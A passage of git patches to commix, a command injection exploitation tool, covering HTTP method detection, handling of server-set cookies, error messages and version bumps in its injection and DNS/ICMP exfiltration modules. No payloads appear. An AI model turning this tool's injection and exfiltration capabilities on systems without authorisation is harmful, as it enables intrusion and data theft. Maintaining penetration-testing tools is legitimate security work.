elif menu.options.data: data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: - url = url.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data, headers={"Cookie": cookie}) + tmp_url = url.replace(settings.INJECT_TAG, payload) + request = _urllib.request.Request(tmp_url, data, headers={"Cookie": cookie}) headers.do_check(request) response = requests.get_request_response(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 517a0f15d2..c598e98db8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From ce70654625ad8db15a51f82c5068092cee41f568 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 20 Dec 2021 08:38:22 +0200 Subject: [PATCH 031/560] Added support for checking for not declared cookie(s) --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 31 ++++++++++++++++++++++++ src/core/requests/headers.py | 5 +++- src/utils/settings.py | 2 +- 4 files changed, 37 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d4b3abc27a..78f9fd2294 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Added: Support for checking for not declared cookie(s). * Added: New (hidden) option `--smoke-test` that runs the basic smoke testing. * Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old. * Revised: Improvements regarding dynamic code evaluation heuristic check. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 2dfce50f48..118d6c3be1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -55,6 +55,37 @@ except ImportError: settings.READLINE_ERROR = True + +""" +check for not declared cookie(s) +""" +def not_declared_cookies(response): + try: + candidate = re.search(r'([^;]+);?', response.headers['set-cookie']).group(1) + while True: + if not menu.options.batch: + question_msg = "You have not declared cookie(s), while " + question_msg += "server wants to set its own ('" + str(candidate) + "'). " + question_msg += "Do you want to use those [Y/n] > " + set_cookies = _input(settings.print_question_msg(question_msg)).lower() + else: + set_cookies = "" + if len(set_cookies) == 0: + set_cookies = "Y" + if set_cookies in settings.CHOICE_YES: + menu.options.cookie = candidate + break + elif set_cookies in settings.CHOICE_NO: + break + elif set_cookies in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + set_cookies + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + except KeyError: + pass + """ Tab Autocompleter """ diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index cec443df94..7ef1f1144f 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -233,7 +233,10 @@ def https_open(self, req): # Checks regarding a potential browser verification protection mechanism. checks.browser_verification(page) # Checks regarding recognition of generic "your ip has been blocked" messages. - checks.blocked_ip(page) + checks.blocked_ip(page) + # Checks for not declared cookie(s), while server wants to set its own. + if menu.options.cookie == None: + checks.not_declared_cookies(response) # This is useful when handling exotic HTTP errors (i.e requests for authentication). except _urllib.error.HTTPError as err: diff --git a/src/utils/settings.py b/src/utils/settings.py index c598e98db8..4db136bdc0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From c4b91b8277fd54fab41e2876082b7783b12e64c0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 21 Dec 2021 07:40:27 +0200 Subject: [PATCH 032/560] Added new option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response --- doc/CHANGELOG.md | 1 + src/core/requests/headers.py | 2 +- src/utils/menu.py | 6 ++++++ src/utils/settings.py | 2 +- 4 files changed, 9 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 78f9fd2294..65b2686aa5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Added: New option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response. * Added: Support for checking for not declared cookie(s). * Added: New (hidden) option `--smoke-test` that runs the basic smoke testing. * Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old. diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 7ef1f1144f..b73162bc84 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -235,7 +235,7 @@ def https_open(self, req): # Checks regarding recognition of generic "your ip has been blocked" messages. checks.blocked_ip(page) # Checks for not declared cookie(s), while server wants to set its own. - if menu.options.cookie == None: + if menu.options.cookie == None and not menu.options.drop_set_cookie: checks.not_declared_cookies(response) # This is useful when handling exotic HTTP errors (i.e requests for authentication). diff --git a/src/utils/menu.py b/src/utils/menu.py index 793d89e96e..a0c410e1d7 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -313,6 +313,12 @@ def banner(): type="int", help="Retries when the connection timeouts (Default: 3).") +request.add_option("--drop-set-cookie", + action="store_true", + dest="drop_set_cookie", + default=False, + help="Ignore Set-Cookie header from response.") + # Enumeration options enumeration = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Enumeration" + Style.RESET_ALL, "These options can be used to enumerate the target host.") diff --git a/src/utils/settings.py b/src/utils/settings.py index 4db136bdc0..337e410571 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 126b9aed97f5b3c675135ae32a60275b99297b7a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 22 Dec 2021 09:02:28 +0200 Subject: [PATCH 033/560] Fixes https://github.com/commixproject/commix/issues/711 --- .../blind/techniques/time_based/tb_handler.py | 2 +- .../techniques/time_based/tb_injector.py | 8 ++-- src/core/injections/controller/controller.py | 4 +- .../techniques/classic/cb_handler.py | 2 +- .../techniques/classic/cb_injector.py | 8 ++-- .../techniques/eval_based/eb_handler.py | 2 +- .../techniques/eval_based/eb_injector.py | 8 ++-- .../techniques/file_based/fb_handler.py | 2 +- .../techniques/file_based/fb_injector.py | 8 ++-- .../techniques/tempfile_based/tfb_handler.py | 2 +- .../techniques/tempfile_based/tfb_injector.py | 8 ++-- src/core/main.py | 38 ++++++++++++++----- .../dns_exfiltration/dns_exfiltration.py | 4 +- .../icmp_exfiltration/icmp_exfiltration.py | 4 +- src/utils/settings.py | 2 +- 15 files changed, 61 insertions(+), 41 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 0897d60d91..9ceb58bddc 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -375,7 +375,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: header_name = "" the_type = " parameter" - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 589a31325d..a1352661fd 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -45,8 +45,8 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, end = 0 start = time.time() - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) target = url.replace(settings.INJECT_TAG, payload) @@ -92,8 +92,8 @@ def injection_test(payload, http_request_method, url): end = 0 start = time.time() - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index d23b244563..e151fde884 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -100,7 +100,7 @@ def heuristic_basic(url, http_request_method): tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif menu.options.data: + elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: @@ -635,7 +635,7 @@ def basic_level_checks(): settings.IDENTIFIED_WARNINGS = False settings.IDENTIFIED_PHPINFO = False # Check if HTTP Method is GET. - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: get_request(url, http_request_method, filename, timesec) # Check if HTTP Method is POST. else: diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index b567351bec..0f54de2d6c 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -246,7 +246,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ else: header_name = "" the_type = " parameter" - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 8a9c5d9391..5e17a40639 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -46,8 +46,8 @@ """ def injection_test(payload, http_request_method, url): - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: if " " in payload: payload = payload.replace(" ","%20") # Define the vulnerable parameter @@ -197,8 +197,8 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques response = custom_header_injection_test(url, vuln_parameter, payload) else: - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 88f27d3481..4feae2a045 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -259,7 +259,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: header_name = "" the_type = " parameter" - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 1bbcd67e1e..a0b7cbf999 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -40,8 +40,8 @@ """ def injection_test(payload, http_request_method, url): - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) @@ -185,8 +185,8 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques response = custom_header_injection_test(url, vuln_parameter, payload) else: - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 5d460723fb..e579189bc5 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -465,7 +465,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: header_name = "" the_type = " parameter" - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index cdb20f7c65..895dd3448b 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -42,8 +42,8 @@ """ def injection_test(payload, http_request_method, url): - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) @@ -188,8 +188,8 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht response = custom_header_injection_test(url, vuln_parameter, payload) else: - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) payload = payload.replace(" ","%20") diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 03541a844c..7c4e7d3099 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -414,7 +414,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: header_name = "" the_type = " parameter" - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 3b11178120..5d49f10d7d 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -46,8 +46,8 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, end = 0 start = time.time() - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) @@ -96,8 +96,8 @@ def injection_test(payload, http_request_method, url): end = 0 start = time.time() - # Check if defined method is GET (Default). - if not menu.options.data: + # Check if defined HTTP method is not POST. + if http_request_method != settings.HTTPMETHOD.POST: payload = payload.replace("#","%23") # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) diff --git a/src/core/main.py b/src/core/main.py index 089e1d72d0..0d1f513615 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -606,14 +606,6 @@ def main(filename, url): if menu.options.enum_all: checks.enable_all_enumeration_options() - # Launch injection and exploitation controller. - if len(settings.HTTP_METHOD) != 0: - http_request_method = settings.HTTP_METHOD - else: - if menu.options.data: - http_request_method = settings.HTTPMETHOD.POST - else: - http_request_method = settings.HTTPMETHOD.GET controller.do_check(url, http_request_method, filename) return filename @@ -776,7 +768,7 @@ def main(filename, url): pass else: break - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: question_msg = "Please enter POST data (--data) [Enter for none] > " menu.options.data = _input(settings.print_question_msg(question_msg)) if len(menu.options.data) == 0: @@ -817,6 +809,34 @@ def main(filename, url): if inject_tag_regex_match: settings.INJECT_TAG = inject_tag_regex_match.group(0) + # Check provided parameters for tests + if menu.options.test_parameter or menu.options.skip_parameter: + if menu.options.test_parameter != None : + if menu.options.test_parameter.startswith("="): + menu.options.test_parameter = menu.options.test_parameter[1:] + settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + + elif menu.options.skip_parameter != None : + if menu.options.skip_parameter.startswith("="): + menu.options.skip_parameter = menu.options.skip_parameter[1:] + settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + + for i in range(0,len(settings.TEST_PARAMETER)): + if "=" in settings.TEST_PARAMETER[i]: + settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] + + # Check for HTTP Method + if len(settings.HTTP_METHOD) != 0: + http_request_method = settings.HTTP_METHOD.upper() + else: + if not menu.options.data or \ + settings.WILDCARD_CHAR in menu.options.url or \ + settings.INJECT_TAG in menu.options.url or \ + [x for x in settings.TEST_PARAMETER if(x + "=" in menu.options.url and not x in menu.options.data)]: + http_request_method = settings.HTTPMETHOD.GET + else: + http_request_method = settings.HTTPMETHOD.POST + # Define the level of tests to perform. if menu.options.level > 3: err_msg = "The value for option '--level' " diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index 248b6ccdc8..cffc02123d 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -68,7 +68,7 @@ def cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter): if settings.VERBOSITY_LEVEL != 0: sys.stdout.write("\n" + settings.print_payload(payload)) - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: url = url.replace(settings.INJECT_TAG, "") data = payload.replace(" ", "%20") request = url + data @@ -185,7 +185,7 @@ def dns_exfiltration_handler(url, http_request_method): print("\n" + settings.print_critical_msg(err_msg)) os._exit(0) - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: #url = parameters.do_GET_check(url, http_request_method) vuln_parameter = parameters.vuln_GET_param(url) request = _urllib.request.Request(url) diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index d390152942..629498bc53 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -84,7 +84,7 @@ def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src): sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload) + "\n") - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: url = url.replace(settings.INJECT_TAG, "") data = payload.replace(" ", "%20") req = url + data @@ -212,7 +212,7 @@ def icmp_exfiltration_handler(url, http_request_method): print(settings.print_critical_msg(err_msg) + "\n") os._exit(0) - if not menu.options.data: + if http_request_method != settings.HTTPMETHOD.POST: #url = parameters.do_GET_check(url, http_request_method) request = _urllib.request.Request(url) headers.do_check(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 337e410571..2664258a00 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From a7f87e72496fd9746731486ec07c69718d624125 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 23 Dec 2021 08:55:00 +0200 Subject: [PATCH 034/560] Fixes https://github.com/commixproject/commix/issues/724 --- src/core/main.py | 2 +- src/core/modules/icmp_exfiltration/icmp_exfiltration.py | 2 +- src/core/requests/requests.py | 2 +- src/utils/settings.py | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 0d1f513615..bd8dd8b4ff 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -516,7 +516,7 @@ def main(filename, url): print(settings.print_critical_msg(str(err_msg.code))) raise SystemExit() except _urllib.error.URLError as err_msg: - print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + ".")) + print(settings.print_critical_msg(str(err_msg.reason) + ".")) raise SystemExit() try: info_msg = "Performing identification checks to the target URL." diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 629498bc53..859960da4e 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -109,7 +109,7 @@ def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src): raise SystemExit() except _urllib.error.URLError as err_msg: - print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + ".")) + print(settings.print_critical_msg(str(err_msg.reason) + ".")) raise SystemExit() except _http_client.InvalidURL as err: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 9a5d0a1cad..c389ddd81a 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -202,7 +202,7 @@ def estimate_response_time(url, timesec): except _urllib.error.URLError as err_msg: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + ".")) + print(settings.print_critical_msg(str(err_msg.reason) + ".")) raise SystemExit() except ValueError as err_msg: diff --git a/src/utils/settings.py b/src/utils/settings.py index 2664258a00..7c3238dde8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 8019d691d3b5a45b1dcb558a0b32a5ef2febc8ec Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 24 Dec 2021 08:31:25 +0200 Subject: [PATCH 035/560] Fixes https://github.com/commixproject/commix/issues/726 --- src/core/main.py | 9 ++++----- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 6 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index bd8dd8b4ff..0f220fa438 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -768,11 +768,10 @@ def main(filename, url): pass else: break - if http_request_method != settings.HTTPMETHOD.POST: - question_msg = "Please enter POST data (--data) [Enter for none] > " - menu.options.data = _input(settings.print_question_msg(question_msg)) - if len(menu.options.data) == 0: - menu.options.data = False + question_msg = "Please enter POST data (--data) [Enter for none] > " + menu.options.data = _input(settings.print_question_msg(question_msg)) + if len(menu.options.data) == 0: + menu.options.data = False # Retries when the connection timeouts. if menu.options.retries: diff --git a/src/utils/settings.py b/src/utils/settings.py index 7c3238dde8..4e831dad34 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 2b08b465f88f859b3714221c997f037a37a4c093 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 25 Dec 2021 11:14:20 +0200 Subject: [PATCH 036/560] Fixes for https://github.com/commixproject/commix/commit/ce70654625ad8db15a51f82c5068092cee41f568 --- src/core/injections/controller/checks.py | 2 +- src/core/requests/headers.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 118d6c3be1..89bcc1e091 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -83,7 +83,7 @@ def not_declared_cookies(response): err_msg = "'" + set_cookies + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass - except KeyError: + except (KeyError, TypeError): pass """ diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index b73162bc84..67d89eefdc 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -235,7 +235,7 @@ def https_open(self, req): # Checks regarding recognition of generic "your ip has been blocked" messages. checks.blocked_ip(page) # Checks for not declared cookie(s), while server wants to set its own. - if menu.options.cookie == None and not menu.options.drop_set_cookie: + if response.headers['set-cookie'] and menu.options.cookie == None and not menu.options.drop_set_cookie: checks.not_declared_cookies(response) # This is useful when handling exotic HTTP errors (i.e requests for authentication). diff --git a/src/utils/settings.py b/src/utils/settings.py index 4e831dad34..1c7c1cb50a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "35" +REVISION = "36" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 93acbd362812fdb3b411e4c17cfb6cf98e4be0c8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 25 Dec 2021 12:02:33 +0200 Subject: [PATCH 037/560] Fix for https://github.com/commixproject/commix/commit/2b08b465f88f859b3714221c997f037a37a4c093 --- src/core/requests/headers.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 67d89eefdc..b73162bc84 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -235,7 +235,7 @@ def https_open(self, req): # Checks regarding recognition of generic "your ip has been blocked" messages. checks.blocked_ip(page) # Checks for not declared cookie(s), while server wants to set its own. - if response.headers['set-cookie'] and menu.options.cookie == None and not menu.options.drop_set_cookie: + if menu.options.cookie == None and not menu.options.drop_set_cookie: checks.not_declared_cookies(response) # This is useful when handling exotic HTTP errors (i.e requests for authentication). diff --git a/src/utils/settings.py b/src/utils/settings.py index 1c7c1cb50a..40914ce4f1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "36" +REVISION = "37" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 90e5ee68d194468d9aac53437d98acc7487f9ee6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 26 Dec 2021 10:00:39 +0200 Subject: [PATCH 038/560] Added lock-bot --- .github/workflows/lockbot.yml | 17 +++++++++++++++++ src/utils/settings.py | 2 +- 2 files changed, 18 insertions(+), 1 deletion(-) create mode 100644 .github/workflows/lockbot.yml diff --git a/.github/workflows/lockbot.yml b/.github/workflows/lockbot.yml new file mode 100644 index 0000000000..8145a665f8 --- /dev/null +++ b/.github/workflows/lockbot.yml @@ -0,0 +1,17 @@ +name: 'LockBot' + +on: + schedule: + - cron: '0 1 * * *' + +permissions: + issues: write + +jobs: + action: + runs-on: ubuntu-latest + steps: + - uses: dessant/lock-threads@v2 + with: + issue-lock-inactive-days: '90' + issue-lock-comment: 'This issue has been automatically locked since there has not been any recent activity after it was closed. Please open a new issue for related issues.' \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 40914ce4f1..21944c9a9c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "37" +REVISION = "38" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From e845dde0caffe63b09565ab4cfadb96b0ee33259 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 27 Dec 2021 10:12:30 +0200 Subject: [PATCH 039/560] Minor update --- src/core/injections/controller/controller.py | 4 +++- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index e151fde884..dd0fd7a2b9 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -105,7 +105,9 @@ def heuristic_basic(url, http_request_method): else: if settings.INJECT_TAG in url: tmp_url = url.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(tmp_url, data, headers={"Cookie": cookie}) + request = _urllib.request.Request(tmp_url, data) + if cookie: + request.add_header(settings.COOKIE, cookie) headers.do_check(request) response = requests.get_request_response(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 21944c9a9c..383b26e3aa 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "38" +REVISION = "39" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 6e138cdd9ed8f01c260afd5f1f56314010197cd4 